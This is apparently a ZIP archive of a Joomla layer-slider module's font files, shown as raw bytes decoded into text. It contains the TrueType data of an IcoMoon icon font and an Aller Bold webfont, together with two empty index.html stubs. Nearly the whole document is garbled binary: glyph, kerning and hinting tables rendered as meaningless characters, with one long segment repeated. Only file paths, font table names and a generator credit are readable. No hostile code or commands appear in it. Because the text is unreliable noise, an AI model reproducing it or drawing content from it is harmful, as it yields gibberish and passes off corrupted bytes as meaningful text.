275-�:2����8A+#73327>7676'.'&#!3!327>7676'.'&32+q!3&)e9�@�.@�D==b"#I222�?ǘ@�D==b"#'��16X2|=	#^;;c$ !��./M78GP;:M�nn/M88G;/0H)I44I���H�AJT#"#"'.'&=4&+"#"3!26=4&+567>76=4&#26=!4&#"!53:21LL12:	C45H�		p		�H54C	��Z@��@�@ZZ@4Z	�  99  �		�+*+G�>>�G+*+�	�:��:::�� ���:r.'.'.'.7>7>7>7>7:3265<51'.'.'.'.7>7>7>7>19$#T.-a11_,-O!!46!"N++Z..Y))K1	%f3I((U**S'&E,.C%%O''M$#@)

!�2c-.R"#57#"Q-,^//\++M  24! L)4%�(G.1G&'Q))P%%B+
-A$#K&$3���!C"67>763232654'.'&27>767#"'.'&54&#"i\\�))"!qKJUVLLq !8((8((�^]ji\\�))"!qKJUVLLq !8((8((�^]�''�[[h[OPv""##zRQ](88(j]^�((�''�[[h[OPv""##zRQ](88(j]^�((���5!7.#"3267>7#"'.'&547>76327���7�MM�76::67�MM�7	`#++b66:j]^�((((�^]j522\))#�@�6::67�MM�76::6	T(! -
((�^]jj]^�((
'#�
f�� %).26!"3!2654&!!!!#3'35#'#35#33!5!!!'35#3��*==*f*==*��f��������3��3gg3��f�ggg�=*�3*<<*�*=���333fggg��333�3f3���_<�׆�׆�������R)� f
^��,���x��@�B��:��Ny
�`6uK
�		g	=	|	 	R	
4�icomoonicomoonVersion 1.0Version 1.0icomoonicomoonicomoonicomoonRegularRegularicomoonicomoonFont generated by IcoMoon.Font generated by IcoMoon.PK!�L���8mod_ap_smart_layerslider/admin/fonts/icomoon/icomoon.ttfnu&1i��0OS/2'�`cmapV̛Tgasppglyf9�x�head+Vn6hhea��L$hmtxZpdloca(�-�4maxp${ name�J	�(�post� ��������3	@����@�@ 8
 ����� ���������797979@@#5!3!265!!!!!!!!3#!!���%`(8���@����������@�����@%8( ����@@@@@@@@�����)-#54&#!"3!26=3!#";2654&+5!5!�&�@&&�&��� 

�

 @�@���@&&�&&@��
��

@
@�@�
	
%	7%	7��V�����g��g��g��g���������3�3�3�3�H�P)5&'.327>7676&767676&'&'"&54632x;@?�JIP=:9ZfLKbjIJ]]6Ct$=�� --  --�(*)n>?<H@@a;j:I8	N..(�#-  --  -����0A.+3267>54&''>54&'&"+3267!"3!2656&##32#5
;6"



&
"  ��GffG~GefG����0J(,8N\�y	f
j	�eG��GffG~Ge��:6)6		595^�	5	!!!�������r��s���s����� @!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`����/`'&'&"7./&4?6276764'&.'"/&4?.5276?6764'&/�#-,]--#�##P&&�&m&&&c
�$��P&&�&m&&&c
�$$#-,]--#�##u$$�#-,]--#P
'l'�&&&m&c C"�#--],-��P
'l'�&&&m&c C"�#--],-#$$�#-,]--#3f1V32654&#"'67>76322764'&'.'&#"#3267"#"&'&"327>76735#\`DD``DD`t
J./3;i'3!!I()*E>>g&%y�&t&
J./3;i'3!!I()*E>>g&%y��D``DD``D=1))<.&2M45>{.=/0))=-'3	L55>{
��7Hmx667>7>'.'&7>76#.&07>7647&"?>'%&'&67>76&7>67>'6?'�$A(G
##"g)*w
1m)#
B%I�	2�\6#		0*,#	
x+DET:>J��1�M��l .A
-&%6F (
I.@�)	��	5$ ,>>/0X+HPP('#s�E0�X�f8U6767>76'&2>7.#"7>'.547>76323267>54'.'&'�%$M)*W ==�@@
`!%!E$l]^�'(!  nKKVr
',

$!
.I
.bb�YXHG�UU�-

++�ees!^RRy#"@:8�M
!865a,+%����167676&'.&7>767>76'�:Ng<<-%((c&[OO�``11+
911RR�229~W,$a((%�12�QP108

*01^^�NM�}	 ?7'&%./3267%>'.%676&'&'.3267#F5d!���	$59#

&��%
&�		��

g�S!��	S��'
�
r&�����%

3R�\#!#!327>7654'.'&'�JAAd  	yl�O
%&rIIRZNOu""eDEO\	  dAAJx�POEDe""uONZRIIr&%
)����)F767>76'&'.'&2#"&7463"&?>#"'>323267#�bUU#$&'�VWabUU#$&'�VWa4$-)"!+/{&4<y

+*:p�&&�WVbaUV~$#&&�VWabUU~$$�$/ 4��*B�
275-�:2����8A+#73327>7676'.'&#!3!327>7676'.'&32+q!3&)e9�@�.@�D==b"#I222�?ǘ@�D==b"#'��16X2|=	#^;;c$ !��./M78GP;:M�nn/M88G;/0H)I44I���H�AJT#"#"'.'&=4&+"#"3!26=4&+567>76=4&#26=!4&#"!53:21LL12:	C45H�		p		�H54C	��Z@��@�@ZZ@4Z	�  99  �		�+*+G�>>�G+*+�	�:��:::�� ���:r.'.'.'.7>7>7>7>7:3265<51'.'.'.'.7>7>7>7>19$#T.-a11_,-O!!46!"N++Z..Y))K1	%f3I((U**S'&E,.C%%O''M$#@)

!�2c-.R"#57#"Q-,^//\++M  24! L)4%�(G.1G&'Q))P%%B+
-A$#K&$3���!C"67>763232654'.'&27>767#"'.'&54&#"i\\�))"!qKJUVLLq !8((8((�^]ji\\�))"!qKJUVLLq !8((8((�^]�''�[[h[OPv""##zRQ](88(j]^�((�''�[[h[OPv""##zRQ](88(j]^�((���5!7.#"3267>7#"'.'&547>76327���7�MM�76::67�MM�7	`#++b66:j]^�((((�^]j522\))#�@�6::67�MM�76::6	T(! -
((�^]jj]^�((
'#�
f�� %).26!"3!2654&!!!!#3'35#'#35#33!5!!!'35#3��*==*f*==*��f��������3��3gg3��f�ggg�=*�3*<<*�*=���333fggg��333�3f3���_<�׆�׆�������R)� f
^��,���x��@�B��:��Ny
�`6uK
�		g	=	|	 	R	
4�icomoonicomoonVersion 1.0Version 1.0icomoonicomoonicomoonicomoonRegularRegularicomoonicomoonFont generated by IcoMoon.Font generated by IcoMoon.PK!���7mod_ap_smart_layerslider/admin/fonts/icomoon/index.htmlnu&1i�<html>
<body>
</body>
</html>PK!���/mod_ap_smart_layerslider/admin/fonts/index.htmlnu&1i�<html>
<body>
</body>
</html>PK!�ddDmod_ap_smart_layerslider/admin/fonts/aller-bold/aller_bd-webfont.ttfnu&1i�0FFTMa���<GDEF�XVGPOS)y,��9nGSUB5�9E; 8OS/2��tB>X`cmap�@X�>��cvt Hh@�2fpgmS�/�@�egasp	C0glyf��[<C@��head>n��6hhea�`�D$hmtx�XO��h�loca�Vn���maxp�� name��F2�posty2���prep�7���webf�T�\�=���І�а�%N
}~�����������������
.Hlatn
TRK ����casekern6}:��^p`��<hV	d
^T0

\L�>���V0�.�Vbh�t�v,�
<� X �!j""h"�#.#f$b$�$�%%x%�%�&&P&�&�&�'Z'�'�(,(X(�(�)V)�)�*D*~*�+$+d+�+�,,2,t,�--2-\-�-�-�..D.~.�/
/2/\/�/�/�00B11:1�2|33X3�44P5p5�5�6@6n6�6�7D7r7�8888j8��#�mo}����uc�@(2�R�=���=�=�=���=�q79:<IHRZ!�q�������q������q�����������\�����������'

""&&**22447799::	<<
??FFGG
HHRRTTYYZZ\\mm��������
��������������������
����������$$��x$,
����������7799<<==]]��������������%
DL��������������������������&&**2244DDFFGGHHRR	TT
WWXXYY
ZZ\\mm����������������	��	����������	��&��@H������������������o��������""$$--7799::;;	<<
==??JJ
]]}}������
��
������������'�2"*	���������(�����,rz1�3������������������������������������������������
���##$$DDFFGGHHJJ	PP
QQRRSS
TTUUVV]]����������������������)b (�������	77<<LLMM����������*&����-�@H������������������������&&**2244FFGGHHRRTT	YY
ZZ\\mm������������
��������������.HP�3�y�����=��H����\�����������q������\

""&&**2244778899	::
<<??LL
YYZZ\\������������
����������������/�@H������������������o��������""$$--7799::;;	<<
==??JJ
]]}}������
��
������������2�������BJ)������������������q�������

$$--;;==DDFF	GG
HHJJRR
TTmm��������	������
��
��
����3�4<������������������o����""$$7799::;;<<	==
??JJMM
}}������	��	������������4�8@��������������������&&**22447799<<FFGG	HH
RRTT������������
��
��������������5@"*	��������		66��6���B�F�q���q�q����������q�3�3�3���H�H�3�H�3�H�H���\���������\���3�H��q��q�H�q�q�q�H�q�q�q�q�q�q�q�H�q�H�q�\������������q�q7##$$&&**2244	66
DDFFGG
HHIIJJPPQQRRSSTTUUVVWWXXYYZZ[[\\]]mm#}}$������������ ��������!��������������������#��$��7F$�����JJ����8�����~�7���q�����������������{�������������������{��\��{����{���������{��{����������-		##$$&&**2244	DD
FFGGHH
JJPPQQRRSSTTUUVVWWXX]]mm}}������������
����
��������������������9jt|2��������������������������\���������������������������H���'##$$&&**2244DD	FF
GGHHJJ
PPQQRRSSTTUUVV]]mm������������	��
������������������:�>F�����������������������		&&**2244FFGGHHRR	TT
mm
��������������	��	����	������
;���C���q����������������\�3�3�3��3�����3���3���\�������������{���3������3���R�������R�����{���������R���R���q����������������8		##$$&&**22	44
66DDFF
GGHHIIJJPPQQRRSSTTUUVVWWXXYYZZ[[\\]]mm$}}%���� ����	��	��!����
����"��������������	������$��%��<���<D���������������������������&&**2244FFGGHHRRTT	WW
YY��������������������=�>F������������������������������H""$$--7799::;;	<<
==??DD
����
��
��
�����������b (������q��	

""??YYZZ��������DD���&.����������f��

""??YYZZ[[\\]]������	��
��	��
E�"*	���������FFGGHHRRTTmm����������������F��&.����������f��

""??YYZZ[[\\]]������	��
��	��
H������:B3���R���������=��=)�� 

""??@@DDFF	GG
HHRRTT
VV]]``mm����	������������������������I�&.5�����=����

FFGGHHMMRRTT	������
��������Jb (������q��	

""??YYZZ��������Kl&�������FFGGHHRRTT������������N(���YO��b (������q��	

""??YYZZ��������Pb (������q��	

""??YYZZ��������Q��&.����������f��

""??YYZZ[[\\]]������	��
��	��
R�������&.����������f��

""??YYZZ[[\\]]������	��
��	��
S$)MT�&.)�J���������

DDFFGGHHRRTTVV	��������
��������U4���VV����V,����W�"*	�{��������FFGGHHJJRRTT��������������Y�"*	���������FFGGHHJJRRTT��������������Zz (��������
FFGGHHRRTT��������������[�"*	�����)����FFGGHHMMRRTT��������������\���$,
����������FFGGHHRRTTmm	����������������	]b (�������	

??IIVVYYZZ�������4���??������&.����������f��

""??YYZZ[[\\]]������	��
��	��
�4)�qMM�����8@������������������f=DDFFGGHHJJPPQQRR	SS
TTUUVV
XX]]������������	��	����	����������H08����������������q�m����.&��������6&���������Z08����������������}}����$=@"*	���������;����,$������8"������8 (��������)��D,4�������f������`�H�q����$��Z08����������������}}����B$,
�;�������)������Z08����������������}}����*"�����( ����`*2
���H�������������mm������8"������Z08�������������H��������R(0�����������\��������8 (����������X.6���H����������������������6&���������f6>��������������q�������}}����8"�������<&�f�������

??$��?8"�������:$��������

??( ����> (���������

??`$,
)��;����\����

����*"������?( �����?&���2"����)��

$��&���4$�������

$��6&�������

\&.)���H������������

����( ����$��$=M*"�����$RM>*"�����$=M^.&�{��)���)
�,4�\��������������$$&&**2244;;FFGGHH	RR
TT��������������	��
��
��
����
��*"����3�2:�����H�=�q����������q���H&&**22447799::<<YY	ZZ
\\�������������������(0�����q�������
&&**22447799<<������������m��*2
�����{���������$$--667799::;;<<==	]]
��������}�@08���������������������*"��������$,
�����\�q�����&&**22447799::<<������������?6&.������������BJ�q��������������������������3����h��"$$&&**2244DDFFGGHH	JJ
PPQQRR
SSTTUUVVXX]]����������������	������
��
������
4$,
��������\���&��qh (�����������
$$--77;;<<==��������	*"����X$����)=77<<IIJJMM������c$��J"�q���q�7799<<MM�����*"�����`&������f	$$--77<<==��������#,$�����( ����)
( �������*"�������r$,
�����\����������$$7799::;;<<==����	����
8�latn
TRK ����case2case8dpng@fracFligaNligaVnumr\ordnb
,4<DLT\dV���$>X\��F 2<�(�H�(�H�H�H$2DR	$D	$D	2R	2R{tu�IL�LI�IO�OI��Lx9$%&'()*+-./0123456789:;<=��������������������������������DKM]����0��8{tu	tu{~�l|l|$2DRc��3�3�f��P [DAMA 
�f�f
Ji �#� ��* 

~�Sx�� 
    " & / : _ �!"%����
 �Rx��     " & / 9 _ �!"%���������p�L����������������7�����	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ع�������y�������������������qz#�����!!'+D��������D�,�K�LPX�JvY�#?�+X=YK�LPX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-��DdU.�/<��2��<��2�/<��2��<��23!%!!D �$��hU��D������c�+�
3�+�2�+�/�ְ2��2��+��/�33��
22�+��999��901747632#"'&632#"'�
LIJNNHKLPNPPHAFE�JMNGLLLu�fy	�
?�+�3�
+�2�+�
+�2�/�ֱ��+��+01>32#"&%>32#"&f#>"#@##>"#@w#>"#@##>"#@�@��@��m3b�BF��A/�/78@$3��'CD$2�A
+�@A3	+�<2�A
+�@	+�222�/�&EF$3��
$2�
+�@;	+�16?222�
+�@	+�2�G/�?ִ9 +�9� �� +�/� +�9�+� +�6 ��0 +�H+�6�?��+
�?�9�����?�n+
�6�0�����?�?+�?+�
?+�9�9+�6�6+�0�0+�&0+�'0+�/0+�6�76+�9�89+�?�@?+�9�C9+�6�D6+�E6+�9�F9+�09....@
&'/78@CDEF................�@��<9�06�90146737#.54673>323>323#3##"&'##"&'#&%37#m���!;#;�#9#;!����#;!!9!�#;#9#����5�535��5��/9�14��g��g/��h�?�E��A+��A
+�@A=	+�:+�'/�	+�F/�ֱ,�,�?+�2�;+�2�;�	+�7�G+�,�9�?�9�;�
'1999�	�29�7� "3999�A�9�'�"7$9�� 99017>732654./.54675632.#"#"'5#".h!V�V��';J#mDnP+ѹ+-+/R�T5@GZ:#G:$1>zNX1��+---Dj`^3;yB#Xb1@(/?XwV����#wr

!;/):'
3!A\�e��)��	g���)=I��(+�9+�A+�+�+�/G9
+�/+� ��+�J/�ִ +��+�
 +�
�*+�> +�>�D+�4 +�K+�� ($9�
�&9�>*�!9�D�#/9%$9�(� &*4>D$9�/�
$9014>32#".732654&#"632#"4>32#".732654&#"g/`�fd�b//b�df�`/�EJJEEJJE]�FI?N�!HAF�/`�fd�b//b�df�`/�EJJEEJJET�yJJy�TT�yJJy�Tm��lo������X�T�yJJy�TT�yJJy�Tm��lo��d����3@��/+�7�
+��>/

+�(3��!2�A/�ֱ4�4� ���/��4�<+�*� 2�*<
+�@*%	+�B+�4�9�<�
/7$9�*�9�>7�9��9��999�
�9014>7.54>32.#"3!33##".%32>75!"d+FX-LnG}�`;�P?Dj%bV1P;]�-��X��jɝ_B}�byF��o��J�jL)�p\�\/ub
\@#;+!��15!���@0j��s�:^w?��fyo�
#�+�+�/�ֱ��+01>32#"&f#>"#@##>"#@�@��f��uB� /�ֱ
�!+��99014>7>32#"&'.f'BV/L+)RNI88INR)+L/VB'q� �L)������)L��!f��uB� /�ֱ
�!+��9901>54.'>32#"&fNJ77JNR)+L/VB''BV/L+)R��)��B��?�)L��ବ���LJh��
';�+�#+�2�(/�ִ+�)+��
999��!9901>77.632#"67%.J-��TP�#?�%%))29MPT�?#P��B'K!?mT���+L�0����L+�/,A#N"o1b��/�U�/�3��	2�
+�@	+�
+�@	+�/�ְ2� +�2�
+�@	+�
+�@	+�+0147!672!!"'!&�A=>?>B��=>?>���?>j
��=>?>��
j=F��5
m�
/�+�/�ֱ�+��/��+�6�=��+
�.�.��
���
��....�@��9��901>32#"&F�#E!!N"�#F !@���j���	-�/����
/�ִ+�+�22�+0147!!&j

��1B==@B==����99�+�+�+�+�22�/�ֱ��
22�+01747632#"'&�LJJM
NGLL�JMNGLLL��-�	�+�+�
/�+013632#"�LHFI�JGF��?V���LB�+��/��� /�ֱ��+�
�!+��99��
99014>32#".%32654&#"VB�ʌ�Ƀ=A�͉�ȁ@3|hhuuhjz����ii������gg�����������^;2�+��2�
+�@	+�/�ֱ�+��9013!!.5467!&'&�L7%��(�'9��#9!9##9!9#�e367s5L';�&+�!�	/���(/�ֱ�)+�!&�9�	�999��9017>54&#".'>32!!s+FnL'ym-C>;!'1TV];m��J)Jd>l��X�\�ud4V^9x=
/c�dJ���R�=<D=R�w+7,C�(/��/���-/�ֱ#�.+�#�99�(�9��#999��901>732>54.#"'!&547!32#".R'N�ZBtV3-Jb5#J"�>X��P�X/Z��=aXZF?�1 @bF3L1
�=>B=#��>d�D�DžC!�}�VL�/�3��2�
+�@	+�
+�@
	+�/�ְ2��
2� +��9��9017!>323##"&'!!CF�9�Z%#B"%J%��#A#%J%�P��+-��G��;@A��h�w57+Z�'/��� ���/��2�
+�@	+�/���,/�ֱ"�-+�"�999��"99901>732>54&#"'!!>32#".h*HG\|M!��;q9��)%9d�uAX��P\fL?|;)CX/ht=>B=��7m�h��Au���� ,b�+�$�+�
�*
+���-/�ֱ!�2�!�'+��.+�'!�99��
999�*$�99��90146$7>32# %32654&#"ub�1�
s�}P4G^>X�yGX��b���1ub^y\fy=�F�
!B"3:Jy�V3+;u�w{�@+́���uy��h�7�
/���/�
+�
�90147!.'!&����J�?���B=�I6/`=`��m�#/;t�+�'�
+�9��</�ֱ$
�$�0 ���/�0�$�*+�
�6 ���=+�0�9�6�'-
$9��9�9'�-3$9014>7.54>32#".%32654&'>54&#"`+HX/PhEy�``�xFjP-\E.Y��cb��X'ujoq�bb{+dPRe\[ZZ�N}`E/�iV�b66b�Vh�1C`}Po�e--e��`kjab{!!}?VddVHXX^�fsL ,b�
/��/�$�*/���-/�ֱ!�!�'+�2��.+�!�
999�'�99�
�9�$�9�*�99014>3 .547>7#".%32654&#"^X��bc���
q�}N3H^=X�yH/y\fzuc^X{�@��պ���!B#1;Jy�V2+;u��uyy������/I�+�
3�+�2�+�3�+�2� /�ִ$2�
�$2�!+01747632#"'&47632#"'&�LJJM
NGLLLJJM
NGLL�JMNGLLL@JMNGLLL:��/
��+�3�+�2�/�ֱ22��22� ����&+��+�6�=��+
�.�.��
���
��....�@��9��99901>32#"&47632#"'&:�#E!!N"�#F !@TLJJM
NGLL���zJMNGLLL���47
&�O��j	���HJNP1#F��C#I)PR�{#	�/��/���/�+0147!!&47!!&�_��_���?>=>?>=�?>=>?>=���467-.5467&�k��P��P#E��D"J)��TLHI��PX����"2o�/+�-3�'+�)2�+��
+�	+�3/�#ֱ+�+#+��/��+#+��4+��'/$9�'� 9��901>32#"'>54&#".47632#"'&X5ZVV2��Jho"HBD=/gV7h+D9< %�LIJNNHKL}��`�`;�`5P<X\5r�WJMNGLLLX����ET��+�,�+�P�A/�6�/�3�$�I2�U/�ִ1 +�1�+�F�F�)+�
+�V+�6�>��!+
�L�M��"��!��!"LM....�!"LM....�@�)F�,6<A$9�6�99�$�9�P�
)1$9014$!2"'#".54>322>54$!"3267#"$&%3267.#"X��"��yT�׃�N=�gBrV3\��x\�N�/LwP)�����qX��sj�I"%fw�B����{�PB);#X'DhJ'��u.�T������{N/'TX��^�JZ��T��ҡ�҅=-`/ 
Z��\R
�=e����3�+�
3�+�
+���/�ֱ�+��9013>32#"'!#"!�+N/)N/�TPNIR�TJCLs\���?'��+j�����)7m�+��+�5�*)
+�*��8/�ֱ
�*2��#+��0 ��	�9+�0�999�#�9�)�9�*�9�5�	9013>32#"&732>54.+532>54.#"�B��qȖV'BQ+/rcAd��{^��L+^R5)Lh@{[3XA%+CT)9(�
%X�oBpT7.X�b��c%�0TC?U3�/P=;M+j���� =�+��+���!/�ֱ�"+��9��999��90146$32.#"!267#"$&j_��b�`)HoK���LrH#j�b����[ݤ�s'=v;���9z='q����1�B�
+��+���/�ֱ
�
�+��+�
�
99��9013>3 !"&732>54.#"�V�s���g�lh��9)^�wFFw�VL�
���}���+s����s/���X�+��+��
+���/�ִ+��2�
+�@	+�2�@	+��+�+013!!!!!�D���
�V'
�=@D=��B=B?�{=@D=�����@�+�+��
+���/�ֱ�2�
+�@	+�@	+�+013!!!!#"�D���
�VNEL�=@D=��B=B?��h����$_� +�� 
+�	+�+���%/�ֱ��+�
�&+�� 999��99��99��90146$32.#"3267632#"$&h_��b�\)HoK����#7LHHMj�V���[ݤ�s'=v;����	�-'q������?�+�3�+�
3�
+���/�ֱ�2��+�2�
�+013632!632#"'!#"�LJJM�LIJNNGLL�NGL���B�?}�������	!�+�+�
/�ֱ��+013632#"�LJJMNGL��?3����M�+��+��+���/�
ֱ��+�/�+�
�99��90174732>5#.547!#"&'.3#5#N@+�H}�d#i/;^_
	)OJC!B;��q�e-
�����
#�+�3�+�3�/�ֱ�+01>32#"&	>32	#"&'�'J'#I''I%%J/�/P #V/�m�/X#!O2��;���9����
,�+��+�/�ֱ
�
+�@	+�+013632!�LFHM���A#?!?#��
�N�+�3�+�	3�/�ֱ��+��+��9��99��	9��99013632	632#"'#"&'#"9RLPNR\?NNHENEFC%��=5��B=B���L�?�L�
�����H�+�3�+�	3�/�ֱ��+��+��9��9��99013632632#"'#"�?:=B:JC?<B59D��BDD��V��?��Xh��f�D�+��+���/�ֱ��+�
�+��99��
99014>32#". 4&# hL���KK���L=����ݤ�ss�礤���ss�����������^�(L�+�+�%�
+���)/�ֱ�2�� +�	�*+� �99�%�	9013>32#"&'#"&232>54.#"�^�bfԪjj��d/'I#!N+3bL--Lb3'%�
)qȠ��s)�'�>dJLh@h����&|�+��+��&/�"/�'/�ֱ��+�+�
�
�#+�(+�6�&�".��".��&#.��#&.ɰ6�@��99��
99014>32#". 4&# >7hL���KK���L=�����	�ݤ�ss�礤���ss���������+;33N;}7�����'K�%+�3�+���(/�ֱ"�"�+�	�)+�"�99�	�999�%�	9013>32#"'7>54&#"#"&�Z�`q۰l)?J!#g)Z/NL�1RL5�t-%%J##M�
)h��R}^C���-D`A�y�%H���<j�8+��+�#��=/�ֱ(�(�	+�3�>+�(�99�	�#.8$9�3� /999�8�9�#�3$9��9017>732654./.54>32.#"#".H!V�V��#7F$}FoM+G��rh�d5?HZ9#H9%1={NX1L�ӊDj`^3;�A#"`b1B-/?X{Vh�m7%#wr
!?3)8&0A`�eh�{F	3��V�:�+�+��2�/�ֱ	�	
+�@		+�	
+�@	+�+0147!!#"&'!&3��%I##P)��D?>=@D=�=�=�����#7�+�
�+�3�$/�ֱ��+��%+��901>3232>5>32#".�'J'#I'7dPPb8)J#%K'1դ��1�<�}�u88u�}��Ė��aa�����=�+�+�
3�/�ֱ��+�
�+��99��901>32	>32#"&'#Z#NVBE)L'%L(�%+P-)M/��v��?!��B�f�+�3�+�+�
33�+� /�ֱ�!+�6����+
�.���
����
..�
....�@��901632>32632#"'#"'!J^%K%�)F%=H�?D)N%��JON\�1L-?J���T��q�?�+%����/�+�3�+�3�/�ֱ�+��999013	>32#"&672	#"&'%C��)P'JP��3H"%H=�PI'P)��@/H%#H3�
�@���D������0�+�+�3�/�ֱ�+��9��901632	632#"&'VWNM#LOJT�5)I%#L'��d��M��No�.�+�	�+���/�+�	�9��9017!&547!!!Nj�����F��=?D>�V=@D=f��Z59�/�	�/���/�ִ	+�
2�	�	+�222�+01!#3f������59>�E=95��3�	�+�+�
/�+01632#"'JEFN�JEHJ��?f��Z5C�
/��/�
��/�ְ2�	+���/��	+�/�

33�+01473#&'467!!.f
����9=�=:5�s5f����+�/�+01632#"&'#"&fDDEBI@)F#BɺDB���&
�-�3��
�+��+�/�+01467!!.��d,1,1��%��+���/�ִ+�
+01>32"&'�)L5dT�DA)J��	N���; /j�+�&�+�
�
� ���-
+�+�0/�ֱ!�!�)+�2��1+�!�99�)�
$9�-&�9014>3254.#".5>32#".%3267.#"NT��R;H!9T4o|Z�N��H́h�}C-@G=9duLb�P#1>#+5^B��)%V�o5:
H���d�$\�+��	+�!�	!
+�@		+�%/�ֱ�2��+��&+��	99��9�!�9�	�9017632>32#".732654&#"�JFHI�\\�sAR��-dg^�7��^qRh#���7HA�ɉ�ӔP	�����muT���;%=�!+��+���&/�ֱ
�'+�!�9��
999��
9014>32.#"32>7#".T?��-LEF+=];��w313# R�N�āBuɗV/u5����)mI!T��T��+�(K�+��+�$��)/�ֱ�� +�2��*+� �99��9�$�9014>32>32#".%3267.#"TL��{%O%%H##I%`ǍmƘX+)Hb9#9#)3'DdAuϗX
��J<�͓TuE
a
7\}X��);$]�+��+�"�
+���%/�ֱ
�

+�@	+�&+�
�
999��9��9��
99014>32!3267".%!.#"XB��o�y=�X�F�A �ɓӅ@!�eZfk
u͗XM��j'L{n)sA=R���byr#��7�(B�"+�+�3�&�2�/�
��)/�$ְ2� �2�*+��9�
�
901467354>32.#"3##"'#.#�;o�\=T10)HZ��JFHI��13b�h8Dl5
Dn-!51��F!5D�9;O[��+�Y+�+��7/�?�J/�.�&/�S+�\/�ֱP� ��< +�<�+ ��+�/�++�P�V+�!�!�2 ��B�B/�2�]+�P�	99�V+�&.7?J$9�!�/0$9�J?�299�.�099�&�+99�S�	(99��!PV$9��901467.5467.54>32>3##"'#".732654.#'"#"32654&#"DXI/7B?HN>u�hf�:'rc�
;s�iXF#+B��Z��{{�l/�tc��
3+�$#GNXVLLVXN�\w-TBNb-3�[P�d9?1333!B#9/P�b92!)��V�c5'Ff�N7RE&
'/TVccVVdd���7�&B�$+�3�
+���'/�ֱ!�2�!�+��(+�!�
9�
�901>32>32#"&'4&#"#"&�#J##I%/Fb@��%I##J%ET#J;'%J"#H���4/ ��ZXov;kV��3����"y�+�+�
�/�!33�#+�22�#/�ִ
+���/��
+�/�3�� ��
�
/��$+�
�
9��9990147!#"'#.47>32#"&'&3�JEDI�^
#O!#R##P#!Q#�76��F;�BG#C#!E#F���w��1�+�
�/��//�)3��#2�#/,+� #+�2/�ֱ��
+�/��& ���/�/3�&�)2�3+��
99�&� ,99�
�90146732>5#.547!#"&467>32#"&'.d9!;+��Ļ3j�'OR%%RO'��;i/+N@);76��ŭ�!9)
	)9!9+

+9}��3�	=�+�3�+�+�+�
+�/�ֱ�+�
�99013632#"	632	#"'}FIJHHJJPRNI��;TNHO��'7���������/�+��
+�	+�/�ֱ�+��9016323267#"&�JHFI1%'!\'��fs��?N+PL
�����;9k�8+�*33�+�33�0�"2�:/�ֱ6�+�6�,+�(�(�+��;+�6�9�(�9��9�0�99013>32>32>32#"'4&#"#"'4&#"#"�9##5
	5J\:�E)�s��JGHI8T#C7#JHHI7T#F7!JGH#
'+)>1�Lp��^Vov7eP��Vov;kV�����9;&U�%+�3�+�3���'/�ֱ#�+�#�+��(+��%9�#�9��9��9013>32>32#"'4&#"#"�9##5
	:K_9��JGHIDT#J;%JGH#
'+)>1��\Vov;kV��T��N;D�+��+��� /�ֱ
��+�

�!+��99��
99014>32#".%32654&#"T?}����>>����}?'dqsddsqdu͕VV��uuȖTT��t���������f;#3n�+�&�+�3�.�!/�4/�ֱ�$2� +��)+��5+��!9��9�)�99�!�99�.&�9��901>32>32#"&'#"&32654.#"�7#9<

5L^:X�s?M�Շ#C'H"#H�7H�1L83G-�

'-+!@1A�ɉ�ӔP�)���?mM.'DZ3T�);&a�+��+� �+�$�/�'/�ֱ��+� 2�	�(+��99��	99�$�9��9014>32#"&'#".%3267.#"TP�ލs�Z%H"#J%#I0h��X/'D`9#9#/!���uӛ\��7}ȔTqC
[����/&M�$+�+�3���'/�ִ+�2�!�+�(+�!�9��9��9901>32>32&"#"#"&�7!;
	-�b67#VN3%I##H%
'++?e6#R%>{n�R��f;3k�/+��+���4/�ֱ!�!�+�*�5+�!�999��$/$9�*�%999�/�9��*$9��9017>732>54&/.54632.#"#".RDyAD9'<5s��P�P!1wAFN83t9]B$?y�l1SKJ!7q5
+"1,%!����5s++/-%#/FfJL�`8���X#X�+��2���+��"2�
+�@	+�$/�!ֱ�2�%+�!�9��9��90133#3267#"#"&5#/��'9'<
Za�Ņo��15 �`?N-
'S!���}��/?�+��+�3�/�ֱ��
+��+�
�9��901632327632#".}JGHJ8R7L3JEHJB�uh��V�:��Tm?>�+!k�
��P/!�+�+�3�/�+��901>32>32#"&'
1T)R#��#M'P3�n'UN"!
��
����d/$��!+�3�+�+�
33�+�
+�%/�&+�6�>�v+
�.����������g+
�
.��������....�
.......�@01>3263>32#"&'#"&'/T)N#��?M5E��#>'O1��%TK#��'TK#!
���
����B��'/�
+�3�+�3�/�+013632#"632#"'��DQNP��JHH��LQLJ��PHHI#����)����F/+;�*+�+�
3�/���,/�ֱ
�-+��9�*�9��901>32632#"&'&4546732>?#*'/H)V#�DGE4�tCVj>9\-=1/)#7)#
�d�
��Nf9
1Y)B;7�#.�+��+���/�+��9��
9017!.5467!!!7�kB
����+93��92f��N:G�0/�(�/���;/�5ְ2�#�2�#5
+�#+	+�2�<+�#5�9�(�599015>?>3:#";"#"./.f7H-'\�y!
#;D )A0/B) D;#
!y�\'-Gd6;IcA�j�p:;67:@dF{�mB?m�}Fd@;57:9q�j�BbI<���B	�
/�ֱ��+01672#"�FEFGHCH���
�sf��N:G�6/��/���;/�ְ2�1�$2�1
+�	+�2�<+�1�
9��$299014732>54>7.54.+&'476232#*'&f
#9E!
)A0/B)
!E9#
!y�\%-G87H-%\�y!�5;@dF}�m?Bm�{Fd@985<:p�j�BbI<6;IcA�j�q99�����/�3��2� ��3��2�/�+�6��-��+
